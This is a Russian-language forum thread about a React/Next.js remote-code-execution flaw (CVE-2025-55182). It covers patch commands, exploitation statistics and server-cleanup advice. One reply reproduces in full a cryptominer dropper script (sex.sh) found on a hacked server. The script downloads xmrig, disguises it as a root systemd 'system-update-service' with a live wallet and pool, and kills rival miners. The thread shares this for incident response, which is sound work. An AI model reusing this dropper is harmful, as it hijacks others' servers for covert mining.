Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт

Aladdin

Что произошло?

3 декабря 2025 года была раскрыта критическая уязвимость безопасности в React Server Components, которая имеет максимальный рейтинг CVSS 10.0. Уязвимость позволяет неаутентифицированному злоумышленнику выполнить произвольный код на сервере вашего приложения.

Это означает: если вы используете Next.js версии 15.x или выше с поддержкой React Server Components — ваше приложение потенциально под угрозой.

Суть уязвимости

Уязвимость CVE-2025-55182 находится в том, как React декодирует полезные нагрузки, отправляемые на эндпоинты React Server Function. Злоумышленник может создать вредоносный HTTP-запрос к любому Server Function эндпоинту, который при десериализации приведёт к удалённому выполнению кода (RCE) на сервере.

Важный момент: даже если ваше приложение не реализует явно эндпоинты React Server Function, оно всё равно может быть уязвимым, если использует React Server Components. Это касается фреймворков, которые поддерживают этот функционал.

Затронутые версии

Уязвимость присутствует в следующих версиях пакетов React:

React 19.0
React 19.1.0
React 19.1.1
React 19.2.0

Аналогичная уязвимость (CVE-2025-66478) была выявлена в реализации протокола RSC (React Server Components) во фреймворке Next.js. Проблема затрагивает приложения, использующие App Router и ветки Next.js 15.x и 16.x. Утверждается, что уязвимость проявляется в конфигурации Next.js по умолчанию (стандартное приложение, создаваемое утилитой create‑next‑app, подвержено атаке).

В Next.js это затрагивает версии 15.0.x и выше, а также canary-релизы 14.3.0-canary.77 и позже.

Затронутые фреймворки и инструменты

Помимо Next.js, уязвимость влияет на:

React Router
Waku
@parcel/rsc
@vitejs/plugin-rsc
rwsdk (Redwood SDK)

Как защитить свое приложение?

1. Немедленно обновитесь

Исправление было выпущено в:

React 19.0.1, 19.1.2 и 19.2.1
Next.js с соответствующими патчами для каждой версии

2. Инструкции по обновлению Next.js

Выберите команду обновления в зависимости от вашей текущей версии:

# Для Next.js 15.0.x
npm install next@15.0.5

# Для Next.js 15.1.x
npm install next@15.1.9

# Для Next.js 15.2.x
npm install next@15.2.6

# Для Next.js 15.3.x
npm install next@15.3.6

# Для Next.js 15.4.x
npm install next@15.4.8

# Для Next.js 15.5.x
npm install next@15.5.7

# Для Next.js 16.0.x
npm install next@16.0.7

Если вы используете canary-релиз Next.js 14.3.0-canary.77 или позже, откатитесь на последний стабильный релиз 14.x:

npm install next@14

3. Обновление других зависимостей

После обновления Next.js убедитесь, что обновлены зависимости React:

npm install react@latest react-dom@latest

4. Проверьте ваш проект

После обновления:

Протестируйте все Server Function эндпоинты
Проверьте функциональность приложения
Убедитесь, что нет ошибок в консоли

Когда моё приложение НЕ уязвимо?

Ваше приложение не подвержено этой уязвимости в следующих случаях:

Ваш React-код не использует Server Components
Вы не используете фреймворк, bundler или плагин bundler, поддерживающий React Server Components
Вы используете старые версии Next.js (14.x и ниже)
Ваше приложение не имеет эндпоинтов Server Function

Временные меры смягчения

Хостинг-провайдеры, такие как Vercel, уже применили временные меры по смягчению последствий уязвимости на своей инфраструктуре. Однако полагаться на них не следует — вы всё равно должны немедленно обновиться.

Хронология событий

29 ноября: Лахлан Дэвидсон сообщил об уязвимости через Meta Bug Bounty
30 ноября: Исследователи безопасности Meta подтвердили уязвимость
1 декабря: Было создано исправление, начало работы с провайдерами хостинга
3 декабря: Исправление опубликовано в npm и раскрыто как CVE-2025-55182

Что делать?

Обновитесь сейчас — это не может ждать
Проверьте все свои проекты на использование Next.js 15.x или выше
Сообщите своей команде об этом обновлении
Отслеживайте changelog Next.js и React для любых последующих обновлений безопасности

Спасибо Лахлану Дэвидсону за обнаружение и помощь в исправлении этой критической уязвимости.

kirilljsx

Я бы сказала не то что критическая, а пиздец какая критическая!

По мимо обновления, требуется еще почистить файлы на серверах. К примеру на наших проектах которые были затронуты этими уязвимостями было такие файлы как: sex.sh, kal.tar.gz и другие!

Вот скрин пацаны:

DeepSeeker

Масштаб угрозы в цифрах

Группа интернет-контроля Shadowserver сообщила о обнаружении 77 664 уязвимых IP-адресов по всему миру, на которых работают серверные компоненты React (RSC). Географическое распределение:

~23 700 адресов — США.

~3 000 адресов — Россия.

Эти данные показывают реальный и значительный масштаб проблемы в глобальной сети.

Суть уязвимости (напоминание)
Уязвимость CVE-2025-55182 позволяет неавторизованному злоумышленнику выполнить произвольный код на сервере через отправку специально сформированного HTTP-запроса к обработчику серверных компонентов React. Проблема затрагивает экспериментальные пакеты react-server-dom-* в версиях React 19.0.0 — 19.2.0.

Эксплуатация в реальном времени и тактика атак
Угроза не теоретическая. Наблюдаются активные попытки эксплуатации:

Компания GreyNoise зафиксировала 181 уникальный IP-адрес, сканирующий сеть на наличие уязвимости за последние 24 часа.

Palo Alto Networks сообщает, что с помощью этой уязвимости уже было скомпрометировано более 30 организаций. Злоумышленники используют её для разведки, кражи файлов конфигурации и учётных данных (например, AWS).

Типичный сценарий атаки, по данным исследователей:

Тест на уязвимость: Отправка команды, выполняющей простую математическую операцию через PowerShell (например, powershell -c “40138*41979”), чтобы подтвердить возможность выполнения кода.

Загрузка вредоносной нагрузки: Если тест проходит, выполняется команда в кодировке base64, которая загружает скрипт извне, часто для обхода защиты (AMSI) и развёртывания полезной нагрузки.

Закрепление в системе: Обнаруженный скрипт может устанавливать на целевое устройство бэкдор, например, маяк Cobalt Strike, что даёт злоумышленникам постоянный доступ к сети.

Официальный статус и рекомендации
Агентство кибербезопасности США (CISA) уже внесло CVE-2025-55182 в свой Каталог известных эксплуатируемых уязвимостей (KEV). Это обязывает государственные учреждения США установить исправления до 26 декабря 2025 года.

Единственная надёжная мера защиты — немедленное обновление.

React: до версий 19.0.1, 19.1.2 или 19.2.1.

Next.js: до последних патчей (15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 или 16.0.7).

После обновления необходимо пересобрать и заново развернуть приложение, а также проверить логи сервера на наличие признаков выполнения подозрительных команд (например, тестовых вызовов PowerShell).

Итог: Уязвимость активно используется, количество потенциальных жертв исчисляется десятками тысяч. Если вы ещё не обновили свои проекты на React/Next.js — это нужно сделать в приоритетном порядке.

Источник

Официальный каталог эксплуатируемых уязвимостей CISA (CVE-2025-55182)

Технический анализ уязвимости от Palo Alto Networks (Unit 42)

Aladdin

@kirilljsx

# sex.sh


#!/bin/bash

# Configuration
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"
BINARY_PATH="$(pwd)/$EXTRACT_DIR/xmrig"
ARGS="--url pool.hashvault.pro:443 --user 8BWy7pgane96sLATF7nESM4ehZEtYAFNpYFAm88zftVsJ5jxFBdGVBrd1igptedXejfomPEpJvGUKU1etmkNBXmU5HkPR6e --pass ZimbabveDC --donate-level 0 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14"
SERVICE_NAME="system-update-service"

# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
    curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
    tar xvzf "$TAR_FILE"
fi

chmod +x "$BINARY_PATH"

# Attempt systemd setup
INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
    echo "Root privileges detected. Attempting systemd setup..."
    
    SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
    
    cat <<EOF > "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target
EOF

    systemctl daemon-reload
    systemctl enable "$SERVICE_NAME"
    systemctl start "$SERVICE_NAME"
    
    if systemctl is-active --quiet "$SERVICE_NAME"; then
        echo "Service started via systemd."
        INSTALLED_SYSTEMD=1
    fi
fi

# Fallback to nohup
if [ $INSTALLED_SYSTEMD -eq 0 ]; then
    echo "Starting with nohup..."
    nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
fi

# health.sh
while true; do
    for proc_dir in /proc/[0-9]*; do
        pid=${proc_dir##*/}

        if strings "/proc/$pid/exe" 2>/dev/null | grep -q xmrig; then
            kill -9 "$pid"
            continue
        fi
        result=$(ls -l "/proc/$pid/exe" 2>/dev/null)
        case "$result" in
            *"(deleted)"* | *"xmrig"*)
                kill -9 "$pid"
                ;;
        esac
    done
    sleep 45
done

все это попытки запускать xmrig-6.24.0
https://www.kaspersky.ru/blog/miner-xmrig-delivered-via-torrents/39082/

Dinozaur

значит надо сидеть на next 14 и не парится, там уязвимости нет

kirilljsx

@Dinozaur лучше Query еще не придумали! На хуй ваш Реакт

Mugiwara

https://dev.to/manaver/alert-my-nextjs-server-was-hijacked-by-a-crypto-miner-and-yours-might-be-too-426l
В англоязычной статье уже есть реальный кейс эксплуатации этой дыры: у автора Next.js‑приложения сервер реально захватили майнеры монеро из‑за RCE через React2Shell (CVE‑2025‑55182 / CVE‑2025‑66478).

После взлома у него:

забился CPU до 100%, VM падала, в репо появились неожиданные изменения в next.config.js / tailwind.config.js / postcss.config.js, package.json и yarn.lock с подменёнными зависимостями.
на уровне системы наплодились systemd‑сервисы с hex‑именами и правки в .bashrc / .profile для автозапуска майнера xmrig.

Он чистил всё руками: убивал процессы xmrig, вычищал подозрительные systemd‑сервисы, проверял bash‑профили, делал git reset --hard + git clean и вручную перечитывал конфиги, потом ротировал все секреты из .env.

Просто «обновиться позже» тут опасно: если сервер уже скомпрометирован, сначала надо вычистить систему и ключи, и только потом обновляться на патченные версии Next.js/React, иначе майнер или бэкдор могут так и остаться жить в окружении.

kirilljsx

@Mugiwara я сделал подход проще, удалил все нахрен (хорошо как бы есть репозиторий проекта), обновил все пакеты на локалке, и перезалил проект + почистил в user/data различные конфиги и кэш

kirilljsx

hannadev

Кстати этот чел наверно поржал над всеми нами:

Aladdin

Вот еще один словил источник. Посмотрите, что он рекомендует, но важно заметить, его взломанный сервер имел root права, и тогда картина усугубляется и придется искать мусор по всей системе, проверять демоны, сервисы и т д. !!!

Если есть подозрение, что сервер с Next.js / React уже взломан через CVE‑2025‑55182 (React Server Components, удалённое выполнение кода), к нему стоит относиться как к полностью скомпрометированному. Ниже — более удобный для чтения порядок действий.

Что делать при обнаружении следов атаки

Остановить майнер и вредоносные процессы
Найдите процессы, которые забивают CPU (через top / htop / ps), проверьте подозрительные имена и завершите их (kill, pkill, killall).
Проверить локальных пользователей
Посмотрите список учётных записей и удалите явно лишних пользователей, созданных атакующим, вместе с их домашними каталогами.
Найти бинарники майнера
Просканируйте систему на наличие исполняемых файлов майнера, особенно в ~/, /tmp, /var/tmp, нетипичных каталогах и местах, куда пишет ваш Node.js/Next.js‑процесс.
Очистить cron и другие планировщики
Проверьте crontab для root и приложений, а также файлы в /etc/cron.*. Удалите все задания, которые запускают непонятные бинарники, скрипты или обращаются к подозрительным URL.
Проверить systemd‑сервисы и автозапуск
Посмотрите systemctl list-units --type=service и содержимое пользовательских и системных unit‑файлов. Отключите и удалите сервисы, которые вы не настраивали и которые стартуют майнер или сторонние скрипты.
Почистить SSH‑доступ
Проверьте ~/.ssh/authorized_keys, конфиги SSH и ключи на предмет посторонних записей. Удалите неизвестные ключи и при необходимости сгенерируйте новые для своих учёток.
Ротировать пароли и секреты
Поменяйте пароли root и админ‑учёток, учетные данные БД, токены CI/CD, API‑ключи и другие секреты, которые могли утечь при RCE.
Поднять чистое окружение и обновиться
На практике надёжнее всего развернуть новый сервер/контейнер из доверенного образа и уже туда задеплоить пропатченную версию React/Next.js с закрытой CVE‑2025‑55182, чем бесконечно «отмывать» взломанную систему.

Aladdin

Как найти бинарники майнера XMRig

Ищем явные следы XMRig по файловой системе
Запустите поиск по имени xmrig и похожим строкам, включая вложенные каталоги и временные папки.
Примеры базовых команд:
- find / -name "*xmrig*" -type f 2>/dev/null
- find /tmp /var/tmp -type f -executable 2>/dev/null
Проверяем типичные точки установки
В кейсах по CVE‑2025‑55182 майнер часто оказывался рядом с проектом или в временных каталогах.
Обязательно вручную просмотрите:
- корень проекта (папка Next.js/Node.js) и рядом лежащие файлы (sex.sh, kal.tar.gz, странные .sh/.tar.gz и т.п.);
- домашние директории пользователей (/home/*, /root);
- /tmp, /var/tmp, /var/run, где часто лежат безымянные или «системно» названные бинарники.
Сопоставляем с процессами и открытыми файлами
Если процесс вы уже видите в top/htop, нужно понять, откуда он запущен.
Полезные команды:
- ls -l /proc/<PID>/exe — покажет реальный путь до исполняемого файла;
- cat /proc/<PID>/cmdline — параметры запуска (там часто виден пул, кошелёк или config.json);
  Так можно выйти на бинарник, даже если он переименован в kswapd0, systemd-journal, a1b2c3, и пр.
Отлавливаем обфускацию и маскировку
В реальных взломах по React2Shell майнеры:
- переименовывали бинарник под системные процессы (kswapd0, kworker, systemd-journal),
- складывали его в «левые» каталоги и запускали через скрипты sex.sh, health.sh и т.п.,
- упаковывали в архивы вроде kal.tar.gz, которые при распаковке создавали папку xmrig-<версия> и бинарник внутри.
  Всё, что выглядит не как ваш деплой, лучше считать подозрительным и разбирать отдельно.
Ищем конфиги и вспомогательные файлы майнера
Вместе с бинарником почти всегда лежат конфигурации и скрипты автозапуска.
Обратите внимание на:
- config.json рядом с бинарником (настройки пула, кошелька, количества потоков);
- shell‑скрипты, качающие что‑то с GitHub/неизвестных URL и сразу запускающие (curl | bash, wget ... && chmod +x && ./имя);
- unit‑файлы systemd с рандомными hex‑названиями, указывающими на тот же бинарник.
После обнаружения — не просто удалить файл
Недостаточно удалить найденный xmrig и скрипты: нужно ещё убрать все точки автозапуска (cron, systemd, .bashrc, .profile и т.д.) и заново переиспользовать/пересоздать окружение.
В кейсах с Next.js‑эксплойтом люди в итоге либо поднимали чистый сервер и деплоили из репозитория, либо полностью пересобирали контейнеры с нуля.